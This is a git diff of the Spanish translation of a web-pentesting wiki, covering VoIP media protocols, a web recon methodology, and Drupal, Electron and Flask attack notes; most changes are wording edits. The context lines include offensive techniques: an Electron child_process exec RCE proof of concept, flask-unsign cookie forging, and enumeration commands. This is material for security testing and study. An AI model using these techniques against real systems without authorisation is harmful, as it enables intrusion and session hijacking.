ejemplo, RTP o SRTP) y el formato de medios (por ejemplo, información del códec). +2. **Flujos de Medios**: SDP define las características de los flujos de medios, como el tipo de medio (audio, video o texto), el protocolo de transporte (por ejemplo, RTP o SRTP) y el formato de medio (por ejemplo, información del códec). 3. **Información de Conexión**: SDP proporciona información sobre la dirección de red (dirección IP) y el número de puerto donde se deben enviar o recibir los medios. 4. **Atributos**: SDP soporta el uso de atributos para proporcionar información adicional y opcional sobre una sesión o flujo de medios. Los atributos pueden ser utilizados para especificar diversas características como claves de cifrado, requisitos de ancho de banda o mecanismos de control de medios. @@ -87,11 +87,11 @@ La simplicidad y flexibilidad de SDP lo convierten en un estándar ampliamente a ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Protocolo de Transporte en Tiempo Real)**: RTP es un protocolo de red diseñado para la entrega de datos de audio y video, o de otros medios en tiempo real, sobre redes IP. Desarrollado por la **IETF** y definido en **RFC 3550**, RTP se utiliza comúnmente con protocolos de señalización como SIP y H.323 para habilitar la comunicación multimedia. RTP proporciona mecanismos para **sincronización**, **secuenciación** y **marcación de tiempo** de los flujos de medios, ayudando a asegurar una reproducción de medios fluida y oportuna. +1. **RTP (Protocolo de Transporte en Tiempo Real)**: RTP es un protocolo de red diseñado para la entrega de datos de audio y video, o de otros medios en tiempo real, sobre redes IP. Desarrollado por el **IETF** y definido en el **RFC 3550**, RTP se utiliza comúnmente con protocolos de señalización como SIP y H.323 para habilitar la comunicación multimedia. RTP proporciona mecanismos para **sincronización**, **secuenciación** y **marcación de tiempo** de los flujos de medios, ayudando a asegurar una reproducción de medios fluida y oportuna. 2. **RTCP (Protocolo de Control de Transporte en Tiempo Real)**: RTCP es un protocolo complementario a RTP, utilizado para monitorear la calidad del servicio (QoS) y proporcionar retroalimentación sobre la transmisión de flujos de medios. Definido en el mismo **RFC 3550** que RTP, RTCP **intercambia periódicamente paquetes de control entre los participantes en una sesión RTP**. Comparte información como pérdida de paquetes, jitter y tiempo de ida y vuelta, lo que ayuda a diagnosticar y adaptarse a las condiciones de la red, mejorando la calidad general de los medios. -3. **SRTP (Protocolo de Transporte en Tiempo Real Seguro)**: SRTP es una extensión de RTP que proporciona **cifrado**, **autenticación de mensajes** y **protección contra repetición** para los flujos de medios, asegurando la transmisión segura de datos de audio y video sensibles. Definido en **RFC 3711**, SRTP utiliza algoritmos criptográficos como AES para el cifrado y HMAC-SHA1 para la autenticación de mensajes. SRTP se utiliza a menudo en combinación con protocolos de señalización seguros como SIP sobre TLS para proporcionar seguridad de extremo a extremo en la comunicación multimedia. -4. **ZRTP (Protocolo de Transporte en Tiempo Real de Zimmermann)**: ZRTP es un protocolo de acuerdo de claves criptográficas que proporciona **cifrado de extremo a extremo** para los flujos de medios RTP. Desarrollado por Phil Zimmermann, el creador de PGP, ZRTP está descrito en **RFC 6189**. A diferencia de SRTP, que depende de protocolos de señalización para el intercambio de claves, ZRTP está diseñado para funcionar independientemente del protocolo de señalización. Utiliza **intercambio de claves Diffie-Hellman** para establecer un secreto compartido entre las partes comunicantes, sin requerir confianza previa o una infraestructura de clave pública (PKI). ZRTP también incluye características como **Cadenas de Autenticación Cortas (SAS)** para proteger contra ataques de intermediarios. +3. **SRTP (Protocolo de Transporte en Tiempo Real Seguro)**: SRTP es una extensión de RTP que proporciona **cifrado**, **autenticación de mensajes** y **protección contra repetición** para los flujos de medios, asegurando la transmisión segura de datos de audio y video sensibles. Definido en el **RFC 3711**, SRTP utiliza algoritmos criptográficos como AES para el cifrado y HMAC-SHA1 para la autenticación de mensajes. SRTP se utiliza a menudo en combinación con protocolos de señalización seguros como SIP sobre TLS para proporcionar seguridad de extremo a extremo en la comunicación multimedia. +4. **ZRTP (Protocolo de Transporte en Tiempo Real de Zimmermann)**: ZRTP es un protocolo de acuerdo de claves criptográficas que proporciona **cifrado de extremo a extremo** para flujos de medios RTP. Desarrollado por Phil Zimmermann, el creador de PGP, ZRTP está descrito en el **RFC 6189**. A diferencia de SRTP, que depende de protocolos de señalización para el intercambio de claves, ZRTP está diseñado para funcionar independientemente del protocolo de señalización. Utiliza **intercambio de claves Diffie-Hellman** para establecer un secreto compartido entre las partes comunicantes, sin requerir confianza previa o una infraestructura de clave pública (PKI). ZRTP también incluye características como **Cadenas de Autenticación Cortas (SAS)** para proteger contra ataques de intermediarios. -Estos protocolos desempeñan roles esenciales en **la entrega y seguridad de la comunicación multimedia en tiempo real sobre redes IP**. Mientras que RTP y RTCP manejan la transmisión real de medios y el monitoreo de calidad, SRTP y ZRTP aseguran que los medios transmitidos estén protegidos contra la interceptación, manipulación y ataques de repetición. +Estos protocolos desempeñan roles esenciales en **la entrega y seguridad de la comunicación multimedia en tiempo real sobre redes IP**. Mientras que RTP y RTCP manejan la transmisión real de medios y el monitoreo de calidad, SRTP y ZRTP aseguran que los medios transmitidos estén protegidos contra la escucha, manipulación y ataques de repetición. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 42f8daec7..002969cd4 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -17,7 +17,8 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web API Guidance +### Guía de API Web + {{#ref}} web-api-pentesting.md @@ -35,7 +36,7 @@ web-api-pentesting.md - [ ] Comienza con los **chequeos iniciales**: **robots**, **sitemap**, error **404** y **escaneo SSL/TLS** (si es HTTPS). - [ ] Comienza a **spidering** la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros utilizados.** Además, verifica si hay **hallazgos especiales**. - [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser spidered._ -- [ ] **Brute-Forcing de directorios**: Intenta forzar todos los directorios descubiertos buscando nuevos **archivos** y **directorios**. +- [ ] **Brute-Forcing de directorios**: Intenta forzar todos los folders descubiertos buscando nuevos **archivos** y **directorios**. - [ ] _Ten en cuenta que cada vez que se descubre un nuevo directorio durante el brute-forcing o spidering, debe ser Brute-Forced._ - [ ] **Verificación de copias de seguridad**: Prueba si puedes encontrar **copias de seguridad** de **archivos descubiertos** añadiendo extensiones comunes de copia de seguridad. - [ ] **Brute-Force de parámetros**: Intenta **encontrar parámetros ocultos**. @@ -56,13 +57,13 @@ webanalyze -host https://google.com -crawl 2 ``` Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Verificar si hay algún WAF** +### **Check if any WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Trucos de tecnología web +### Web tech tricks Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnologías** bien conocidas que se están utilizando: @@ -78,6 +79,7 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog - [**GraphQL**](graphql.md) - [**H2 - Java SQL database**](h2-java-sql-database.md) - [**IIS tricks**](iis-internet-information-services.md) +- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jira**](jira.md) @@ -99,26 +101,27 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog - [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/index.html) _Toma en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\ -Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!). +Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** de las listadas anteriormente o **cualquiera otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!). -### Revisión de Código Fuente +### Source Code Review Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **tu cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**: -- ¿Hay un **Change-log o Readme o Version** o algo con **información de versión accesible** a través de la web? -- ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún **archivo** (¿accesible?) con credenciales (nombres de usuario o contraseñas)? -- ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hash** se utiliza? +- ¿Hay un **Change-log o Readme o Version** file o algo con **información de versión accesible** a través de la web? +- ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún (¿accesible?) **archivo** con credenciales (nombres de usuario o contraseñas)? +- ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hashing** se utiliza? - ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza? - ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad? -- ¿Hay alguna **información interesante en github** (resueltas y no resueltas) **issues**? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un viejo commit**)? +- ¿Hay alguna **información interesante en el github** (problemas resueltos y no resueltos)? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)? + {{#ref}} code-review-tools.md {{#endref}} -### Escáneres automáticos +### Automatic scanners -#### Escáneres automáticos de propósito general +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -166,24 +169,24 @@ joomlavs.rb #https://github.com/rastating/joomlavs Los servidores web pueden **comportarse de manera inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**. -- Accede a **páginas falsas** como /whatever_fake.php (.aspx, .html, etc.) +- Accede a **páginas falsas** como /whatever_fake.php (.aspx, .html, .etc) - **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y **valores de parámetros** para crear errores -- Genera un error dando entrada como **`/~randomthing/%s`** al **final** de la **URL** -- Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE +- Genera un error proporcionando entrada como **`/~randomthing/%s`** al **final** de la **URL** +- Prueba **diferentes Verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE #### **Verifica si puedes subir archivos (**[**verbo PUT, WebDav**](put-method-webdav.md)**)** Si descubres que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz, intenta: - **Fuerza Bruta** credenciales -- **Sube archivos** a través de WebDav al **resto** de las **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas. +- **Sube archivos** a través de WebDav al **resto** de **las carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas. ### **Vulnerabilidades SSL/TLS** - Si la aplicación **no está forzando al usuario a usar HTTPS** en ninguna parte, entonces es **vulnerable a MitM** - Si la aplicación está **enviando datos sensibles (contraseñas) usando HTTP**. Entonces es una alta vulnerabilidad. -Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (en programas de Bug Bounty, probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv**](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades: +Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (En programas de Bug Bounty, probablemente este tipo de vulnerabilidades no serán aceptadas) y usa [**a2sv**](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -210,7 +213,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en - [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl). - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará. - [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento de JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados). @@ -221,7 +224,7 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar rutas y parámetros en archivos JS. - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te proporcionará el código JS embellecido. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en Wayback y buscando más enlaces). +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina de Wayback (también descargando las respuestas en el wayback y buscando más enlaces). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado rastreador/spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript. @@ -268,18 +271,18 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz ### Qué verificar en cada archivo encontrado -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser propensos a tomas de control. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTML que pueden ser propensos a tomas de control. - **Copias de seguridad de archivos**: Una vez que hayas encontrado todos los archivos, busca copias de seguridad de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar una copia de seguridad son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp y file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, podrías intentar buscar** parámetros ocultos en cada archivo web ejecutable. - _Arjun todas las listas de palabras predeterminadas:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comentarios:** Revisa los comentarios de todos los archivos, puedes encontrar **credenciales** o **funcionalidad oculta**. +- **Comentarios:** Revisa los comentarios de todos los archivos, puedes encontrar **credenciales** o **funcionalidades ocultas**. - Si estás jugando **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias nuevas líneas** y **ocultar información** en un comentario en la **parte inferior** de la página web. - **Claves API**: Si **encuentras alguna clave API** hay una guía que indica cómo usar claves API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Claves API de Google: Si encuentras alguna clave API que se parezca a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué APIs puede acceder la clave. -- **Buckets S3**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/index.html). +- **S3 Buckets**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **S3 bucket**. En ese caso, [**verifica** los **permisos** del bucket](buckets/index.html). ### Hallazgos especiales @@ -302,6 +305,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** + {{#ref}} 403-and-401-bypasses.md {{#endref}} @@ -324,6 +328,7 @@ Es posible **poner contenido** dentro de una **Redirección**. Este contenido ** Ahora que se ha realizado una enumeración completa de la aplicación web, es hora de verificar muchas posibles vulnerabilidades. Puedes encontrar la lista de verificación aquí: + {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index af1819cac..29318306d 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -4,6 +4,7 @@ Consulta esta página si deseas aprender más sobre la enumeración y el abuso de Buckets: + {{#ref}} https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum {{#endref}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 18eb81fd4..0c33113d6 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -6,7 +6,7 @@ Firebase es un Backend-as-a-Service principalmente para aplicaciones móviles. Se centra en eliminar la carga de programar el back-end proporcionando un SDK agradable, así como muchas otras cosas interesantes que facilitan la interacción entre la aplicación y el back-end. -Learn more about Firebase in: +Aprende más sobre Firebase en: {{#ref}} https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index 9b8906c1e..c5c4b9ac9 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -9,7 +9,7 @@ ```bash curl https://www.drupal.org/ | grep 'content="Drupal' ``` -- **Node**: Drupal **indexa su contenido utilizando nodos**. Un nodo puede **contener cualquier cosa** como una entrada de blog, encuesta, artículo, etc. Las URIs de las páginas suelen tener la forma `/node/`. +- **Node**: Drupal **indexa su contenido utilizando nodos**. Un nodo puede **contener cualquier cosa** como una publicación de blog, encuesta, artículo, etc. Las URIs de las páginas suelen tener la forma `/node/`. ```bash curl drupal-site.com/node/1 ``` @@ -17,13 +17,13 @@ curl drupal-site.com/node/1 ### Versión -- Verifique `/CHANGELOG.txt` +- Verifica `/CHANGELOG.txt` ```bash curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 "" Drupal 7.57, 2018-02-21 ``` -> [!NOTE] +> [!TIP] > Las instalaciones más recientes de Drupal bloquean por defecto el acceso a los archivos `CHANGELOG.txt` y `README.txt`. ### Enumeración de nombres de usuario diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index f80f57519..e3cc18fe3 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Los ajustes del **renderer process** se pueden **configurar** en el **main process** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**. +Los ajustes del **proceso de renderizado** se pueden **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**. La aplicación Electron **podría acceder al dispositivo** a través de las APIs de Node, aunque se puede configurar para prevenirlo: -- **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el renderer process. -- **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y renderer no están aislados. +- **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el proceso de renderizado. +- **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y de renderizado no están aislados. - **`preload`** - vacío por defecto. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desactivado por defecto. Restringirá las acciones que NodeJS puede realizar. -- Integración de Node en Workers +- Integración de Node en Trabajadores - **`nodeIntegrationInSubframes`** - está `desactivado` por defecto. -- Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de **Node.js APIs** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron. -- Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe. +- Si **`nodeIntegration`** está **activado**, esto permitiría el uso de **APIs de Node.js** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron. +- Si **`nodeIntegration`** está **desactivado**, entonces los preloads se cargarán en el iframe. Ejemplo de configuración: ```javascript @@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app") ## RCE: preload -El script indicado en esta configuración se **carga antes que otros scripts en el renderizador**, por lo que tiene **acceso ilimitado a las API de Node**: +El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las APIs de Node**: ```javascript new BrowserWindow{ webPreferences: { @@ -163,14 +163,17 @@ Si los contextos no están aislados, un atacante puede: Hay 2 lugares donde los métodos incorporados pueden ser sobrescritos: En el código de preload o en el código interno de Electron: + {{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}} + {{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}} + {{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}} @@ -232,7 +235,7 @@ El **webviewTag** es una **característica obsoleta** que permite el uso de **No ```xml ``` -Por lo tanto, un atacante que logre cargar una página arbitraria podría usar esa etiqueta para **cargar un script de precarga arbitrario**. +Por lo tanto, un atacante que logra cargar una página arbitraria podría usar esa etiqueta para **cargar un script de precarga arbitrario**. Este script de precarga fue abusado para llamar a un **servicio IPC vulnerable (`skype-new-window`)** que estaba llamando a **`shell.openExternal`** para obtener RCE: ```javascript @@ -303,7 +306,7 @@ El módulo Remote de Electron permite que **los procesos de renderizado accedan > [!WARNING] > Muchas aplicaciones que aún utilizan el módulo remoto lo hacen de una manera que **requiere que NodeIntegration esté habilitado** en el proceso de renderizado, lo cual es un **enorme riesgo de seguridad**. -Desde Electron 14, el módulo `remote` de Electron podría habilitarse en varios pasos debido a razones de seguridad y rendimiento, es **recomendado no usarlo**. +Desde Electron 14, el módulo `remote` de Electron podría habilitarse en varios pasos, debido a razones de seguridad y rendimiento, se **recomienda no usarlo**. Para habilitarlo, primero se necesita **habilitarlo en el proceso principal**: ```javascript @@ -325,7 +328,7 @@ El **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) - **`app.relaunch([options])`** - **Reinicia** la aplicación al **salir** de la instancia actual y **lanzar** una nueva. Útil para **actualizaciones de la app** o cambios significativos de **estado**. - **`app.setAppLogsPath([path])`** -- **Define** o **crea** un directorio para almacenar **registros de la app**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**. +- **Define** o **crea** un directorio para almacenar los **registros de la app**. Los registros pueden ser **recuperados** o **modificados** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**. - **`app.setAsDefaultProtocolClient(protocol[, path, args])`** - **Registra** el ejecutable actual como el **manejador predeterminado** para un **protocolo** especificado. Puedes proporcionar un **ruta personalizada** y **argumentos** si es necesario. - **`app.setUserTasks(tasks)`** @@ -379,7 +382,7 @@ console.log('Recent Places:', recentPlaces); Esta función muestra el archivo dado en un administrador de archivos, lo que **podría ejecutar automáticamente el archivo**. -Para más información, consulta [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) +Para más información consulta [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy @@ -387,13 +390,12 @@ Las aplicaciones de Electron deben tener una **Política de Seguridad de Conteni Generalmente se **configura** en el archivo **`main.js`** o en la plantilla **`index.html`** con la CSP dentro de una **etiqueta meta**. -Para más información, consulta: +Para más información consulta: {{#ref}} pentesting-web/content-security-policy-csp-bypass/ {{#endref}} - ## **Tools** - [**Electronegativity**](https://github.com/doyensec/electronegativity) es una herramienta para identificar configuraciones incorrectas y patrones de seguridad en aplicaciones basadas en Electron. @@ -403,7 +405,7 @@ pentesting-web/content-security-policy-csp-bypass/ ## Labs -En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones vulnerables de Electron. +En [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puedes encontrar un laboratorio para explotar aplicaciones de Electron vulnerables. Algunos comandos que te ayudarán con el laboratorio: ```bash diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 9a4a51066..5f39ea354 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -46,13 +46,13 @@ location.reload() //Trigger the "exit" event ``` ## Ejemplo 2 -Obtener **objeto require de la contaminación del prototipo**. De [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) +Obtener **el objeto require de la contaminación del prototipo**. De [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) -Fuga: +Leak:
-Explotar: +Exploit:
diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 734a16d42..a71be4475 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -10,7 +10,7 @@ El nombre de la sesión de cookie por defecto es **`session`**. ### Decoder -Decodificador de cookies Flask en línea: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) +Decodificador de cookies de Flask en línea: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual @@ -24,6 +24,7 @@ La cookie también está firmada usando una contraseña Herramienta de línea de comandos para obtener, decodificar, forzar y crear cookies de sesión de una aplicación Flask adivinando claves secretas. + {{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}} @@ -50,6 +51,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy Herramienta de línea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign. + {{#ref}} https://github.com/Tagvi/ripsession {{#endref}} diff --git 